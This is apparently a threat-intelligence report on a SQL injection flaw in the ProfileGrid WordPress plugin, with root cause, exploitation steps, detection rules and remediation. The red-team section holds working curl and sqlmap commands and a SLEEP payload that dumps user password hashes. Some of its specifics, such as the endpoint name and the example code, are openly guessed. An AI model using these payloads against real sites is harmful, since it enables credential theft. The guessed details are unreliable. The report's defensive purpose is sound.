CVE-2025-0723

Executive Summary

CVE-2025-0723 is a blind and time-based SQL Injection vulnerability discovered in the ProfileGrid – User Profiles, Groups and Communities WordPress plugin. The flaw exists in all versions up to and including 5.9.4.7. An authenticated attacker with Subscriber-level access or higher can exploit insufficient input sanitization in the rid and search parameters to inject malicious SQL queries. This allows extraction of sensitive data from the WordPress database, including user credentials, session tokens, and other confidential information. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept has been released.

WordPress Ecosystem Context

This vulnerability specifically affects the WordPress plugin ecosystem. The ProfileGrid plugin is a widely used community and user profile management solution. The attack surface is limited to authenticated users, but the low privilege requirement (Subscriber) significantly increases the risk for multi-user WordPress installations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the confidentiality impact is high, the requirement for authentication and the lack of integrity/availability impact reduce the overall severity. However, in a multi-tenant or community site, a single subscriber can compromise the entire database.

Deep Dive & Mechanics

The vulnerability resides in the plugin's SQL query construction for user profile and group management features. The rid and search parameters are passed directly into SQL queries without proper parameterization or escaping.

Root Cause:

• The plugin uses $_GET or $_POST values for rid and search in SQL statements.
• Insufficient escaping allows an attacker to break out of the intended SQL string context.
• The lack of prepared statements enables time-based blind SQL injection.

Attack Flow:

1. Attacker authenticates as a Subscriber.
2. Attacker crafts a malicious request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=profilegrid_search&rid=1).
3. The rid parameter is injected with a time-based payload (e.g., 1 AND SLEEP(5)).
4. The server delays its response by 5 seconds, confirming the injection point.
5. The attacker then extracts data character by character using conditional time delays.

Affected Components:

• profilegrid-user-profiles-groups-and-communities plugin
• Vulnerable endpoints: likely AJAX handlers for group and user search functionality.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (PHP):

$rid = $_GET['rid'];
$query = "SELECT * FROM {$wpdb->prefix}pm_group_members WHERE group_id = $rid";
$results = $wpdb->get_results($query);

Patched Code (Hypothetical):

$rid = intval($_GET['rid']);
$query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}pm_group_members WHERE group_id = %d", $rid);
$results = $wpdb->get_results($query);

The patched version uses intval() to cast the input to an integer and $wpdb->prepare() for parameterized queries, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress installation with ProfileGrid <= 5.9.4.7
• Valid Subscriber account credentials

Exploitation Steps:

1. Identify Vulnerable Endpoint:

   curl -s "http://target.com/wp-admin/admin-ajax.php?action=profilegrid_search&rid=1" -c cookies.txt -b cookies.txt
   

2. Confirm Time-Based Injection:

   time curl -s "http://target.com/wp-admin/admin-ajax.php?action=profilegrid_search&rid=1%20AND%20SLEEP(5)" -c cookies.txt -b cookies.txt
   

3. Extract Database Version:

   sqlmap -u "http://target.com/wp-admin/admin-ajax.php?action=profilegrid_search&rid=1" --cookie="wordpress_logged_in=..." --batch --technique=T --dbms=mysql --dbs
   

4. Dump User Credentials:

   sqlmap -u "http://target.com/wp-admin/admin-ajax.php?action=profilegrid_search&rid=1" --cookie="wordpress_logged_in=..." --batch -D wordpress -T wp_users --dump
   

Manual Payload Example:

1 AND (SELECT IF(SUBSTRING(user_pass,1,1)='$',SLEEP(5),0) FROM wp_users LIMIT 1)

Blue Team (Defender)

Detection Steps:

1. Monitor for unusual SLEEP() or BENCHMARK() functions in SQL queries.
2. Look for requests to admin-ajax.php with action=profilegrid_search and suspicious rid or search parameters.
3. Check for slow database queries in MySQL slow query log.
4. Review WordPress debug.log for SQL errors.

Honeypot Setup:

• Deploy a fake Subscriber account and monitor its activity.
• Log all AJAX requests to profilegrid_search and analyze for SQL injection patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-admin/admin-ajax.php with action=profilegrid_search and rid or search parameters containing SQL keywords (e.g., SLEEP, BENCHMARK, UNION, SELECT).
• Unusually long response times (5+ seconds) for AJAX requests.
• Repeated requests with incremental rid values (e.g., 1, 2, 3).

Host IOCs:

• MySQL slow query log entries with SLEEP() or BENCHMARK() functions.
• WordPress debug.log entries containing SQL errors with injected syntax.
• Unauthorized database queries from the WordPress user context.

File IOCs:

• Modified plugin files (if attacker uploads webshell).
• Suspicious entries in wp_options table (e.g., profilegrid_* options with base64-encoded data).

Detection Engineering

YARA Rule

rule CVE_2025_0723_ProfileGrid_SQLi {
    meta:
        description = "Detects SQL injection attempts against ProfileGrid plugin"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-0723"
    strings:
        $sqli1 = /rid=[0-9]+.*(SLEEP|BENCHMARK|UNION|SELECT|AND|OR)/i
        $sqli2 = /search=.*['\"]\s*(OR|AND)\s+.*=.*/i
        $sqli3 = /admin-ajax\.php.*action=profilegrid_search/i
    condition:
        any of ($sqli*) and #sqli3 > 0
}

Sigma Rule

title: ProfileGrid SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against ProfileGrid plugin (CVE-2025-0723)
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'action=profilegrid_search'
        cs-uri-query|re:
            - 'rid=[0-9]+.*(SLEEP|BENCHMARK|UNION|SELECT|AND|OR)'
            - 'search=.*['\''\"]\s*(OR|AND)\s+.*=.*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in search terms
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-0723 ProfileGrid SQL Injection Attempt";
    flow:to_server,established;
    content:"admin-ajax.php"; http_uri;
    content:"action=profilegrid_search"; http_uri;
    pcre:"/rid=[0-9]+.*(SLEEP|BENCHMARK|UNION|SELECT|AND|OR)/i";
    pcre:"/search=.*['\''\"]\s*(OR|AND)\s+.*=.*/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-0723;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Restrict Subscriber capabilities using a security plugin (e.g., restrict AJAX access).
3. Implement Web Application Firewall (WAF) rules to block SQL injection patterns.

Long-term Fix:

• Apply the official patch when released by ProfileGrid.
• If no patch is forthcoming, consider replacing the plugin with an alternative.

Workaround:

• Add the following code to the theme's functions.php to sanitize the rid parameter:

add_filter('query_vars', function($vars) {
    if (isset($_GET['rid'])) {
        $_GET['rid'] = intval($_GET['rid']);
    }
    return $vars;
});

Monitoring:

• Enable WordPress debug logging temporarily to capture injection attempts.
• Monitor MySQL slow query log for suspicious queries.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-0723